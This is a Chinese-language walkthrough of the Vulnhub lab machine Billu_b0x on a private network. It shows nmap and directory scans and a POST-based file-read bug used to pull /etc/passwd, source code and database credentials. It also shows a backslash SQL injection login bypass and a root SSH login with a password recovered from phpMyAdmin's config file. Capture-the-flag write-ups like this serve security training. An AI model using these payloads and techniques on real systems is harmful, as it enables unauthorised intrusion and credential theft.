Billu_b0x

信息收集

环境

网段 192.168.18.0/24

kali 192.168.18.131

靶机 192.168.18.144

nmap扫网段

sudo nmap 192.168.18.0/24 -sP

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-11 19:58 CST Nmap scan report for 192.168.18.2 Host is up (0.000079s latency). MAC Address: 00:50:56:E0:DA:9A (VMware) Nmap scan report for 192.168.18.144 Host is up (0.00054s latency). MAC Address: 00:0C:29:77:56:7F (VMware) Nmap scan report for 192.168.18.254 Host is up (0.00017s latency). MAC Address: 00:50:56:FD:0E:3D (VMware) Nmap scan report for 192.168.18.131 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.25 seconds

nmap扫端口

sudo nmap 192.168.18.144 -p- -sV

kali@kali2020:~$ sudo nmap 192.168.18.144 -p- -sV Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-11 20:00 CST Nmap scan report for 192.168.18.144 Host is up (0.0012s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) MAC Address: 00:0C:29:77:56:7F (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.91 seconds

开放了22端口和80端口

dirsearch扫描目录

sudo python3 dirsearch.py -u 192.168.18.144

[20:25:23] 200 - 307B - /add
[20:25:23] 200 - 307B - /add.php
[20:25:25] 200 - 1B - /c
[20:25:25] 403 - 290B - /cgi-bin/
[20:25:27] 403 - 286B - /doc/
[20:25:27] 403 - 301B - /doc/en/changes.html [20:25:27] 403 - 290B - /doc/api/ [20:25:27] 403 - 300B - /doc/stable.version [20:25:27] 200 - 3KB - /head.php
[20:25:28] 200 - 1KB - /images/
[20:25:28] 301 - 317B - /images -> http://192.168.18.144/images/ [20:25:28] 200 - 47KB - /in
[20:25:28] 200 - 3KB - /index
[20:25:28] 200 - 3KB - /index.php

[20:25:29] 302 - 2KB - /panel -> index.php
[20:25:29] 302 - 2KB - /panel.php -> index.php
[20:25:30] 200 - 8KB - /phpmy/
[20:25:31] 403 - 296B - /server-status/
[20:25:31] 403 - 295B - /server-status [20:25:31] 200 - 1B - /show
[20:25:32] 200 - 72B - /test
[20:25:32] 200 - 72B - /test.php

扫出

add.php 文件上传

head.php 貌似没啥东西就一背景图

test.php 文件包含

phpmy phpmyadmin登录页面

in phpinfo()

allow_url_fopen On
allow_url_include Off mysql版本为5.5.38

用dirb扫描目录

---- Scanning URL: http://192.168.18.144/ ----

http://192.168.18.144/add (CODE:200|SIZE:307)

http://192.168.18.144/c (CODE:200|SIZE:1)

http://192.168.18.144/cgi-bin/ (CODE:403|SIZE:290)

http://192.168.18.144/head (CODE:200|SIZE:2793)
==> DIRECTORY: http://192.168.18.144/images/

http://192.168.18.144/in (CODE:200|SIZE:47554)

http://192.168.18.144/index (CODE:200|SIZE:3267)

http://192.168.18.144/index.php (CODE:200|SIZE:3267)

http://192.168.18.144/panel (CODE:302|SIZE:2469)

http://192.168.18.144/server-status (CODE:403|SIZE:295)

http://192.168.18.144/show (CODE:200|SIZE:1)

http://192.168.18.144/test (CODE:200|SIZE:72)

漏洞利用

sql注入

进入主页，有一个登录框，并提示sql注入

尝试下sql注入，用sqlmap跑一下

sqlmap -u 'http://192.168.18.144/' --method POST --data 'un=admin&os=admin&login=let%27s+login' --batch --dbms mysql

没扫出来注入点

文件上传

传一个图片马试试，或许后面会用到

文件包含

在test.phpget请求传参 ?file=/etc/passwd没反应

使用post传参file=/etc/passwd会弹出一个下载文件窗口

文件内容为/etc/passwd的输出内容

使用burp抓包，把get包改为post包

ica:x:1000:1000:ica,,,:/home/ica:/bin/bash

发现一个ica的用户，可以登录ssh

同时用这种方法去下载add.php,in.php index.php test.php show.php c.php

在add.php中有文件上传的代码，没有经过任何处理，可以考虑去上传图片马在in.php中是phpinfo信息 #### 后台登录 ##### 思路一在c.php中发现了mysql数据库的账户信息$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab"); > 用户名 billu密码 b0x_billu数据库名 ica_lab

使用这个账户去尝试登录phpmyadmin，成功登录,并得到phpmyadmin版本为3.4.7登录后台思路一使用phpmyadmin中账号在anth表中得到一个账户 biLLu hEx_it使用此账户成功登录到后台

思路二 SQL注入再尝试查看index.php的源码

select * from auth where pass=\''.$pass=.'\' and uname=\''.$uname.'\' 前面使用str_replace 将单引号全部过滤掉了， select from auth where pass=' ' and uname=' ' 输入pass=admin\ uname= or 1=1 --+ 即 select from auth where pass='admin\' and uname=' or 1=1 --+' 成功登录文件上传审计一下panel.php 页面有两个功能 show users 和 add users 对于文件上传使用了白名单机制，只允许上传jpeg,jpg,gif,png 当要上传一张图片是，会先判断后缀名是否正确，如果正确，还有一个mime验证 move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])可以看到上传图片的路径为uploaded_images/

这里传马多次都没传成功，有时间再试试吧....

得到root权限思路二

phpmyadmin的配置文件为config.inc.php 使用任意文件下载去下载改配置文件得到一个root账户root roottoor使用ssh登录 ssh root@192.168.18.144成功登录root用户

Reference >https://blog.csdn.net/weixin_52049485/article/details/112248860 >https://www.cnblogs.com/PANDA-Mosen/p/13217674.html >https://mengsec.com/2018/04/11/Vulnhub-billub0x-Writeup/